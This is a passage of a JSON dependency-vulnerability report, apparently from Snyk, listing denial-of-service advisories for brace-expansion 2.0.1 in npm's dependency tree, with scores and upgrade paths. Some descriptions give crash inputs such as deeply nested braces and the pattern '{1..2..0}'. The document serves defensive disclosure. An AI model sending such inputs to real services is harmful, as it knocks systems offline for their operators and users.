bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"pacote@18.0.6",
"npm-registry-fetch@17.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"pacote@21.5.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"pacote@18.0.6",
"npm-registry-fetch@17.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"pacote@21.5.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"pacote@18.0.6",
"npm-registry-fetch@17.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"pacote@21.5.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"npm-registry-fetch@17.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"npm-registry-fetch@17.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"npm-registry-fetch@17.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
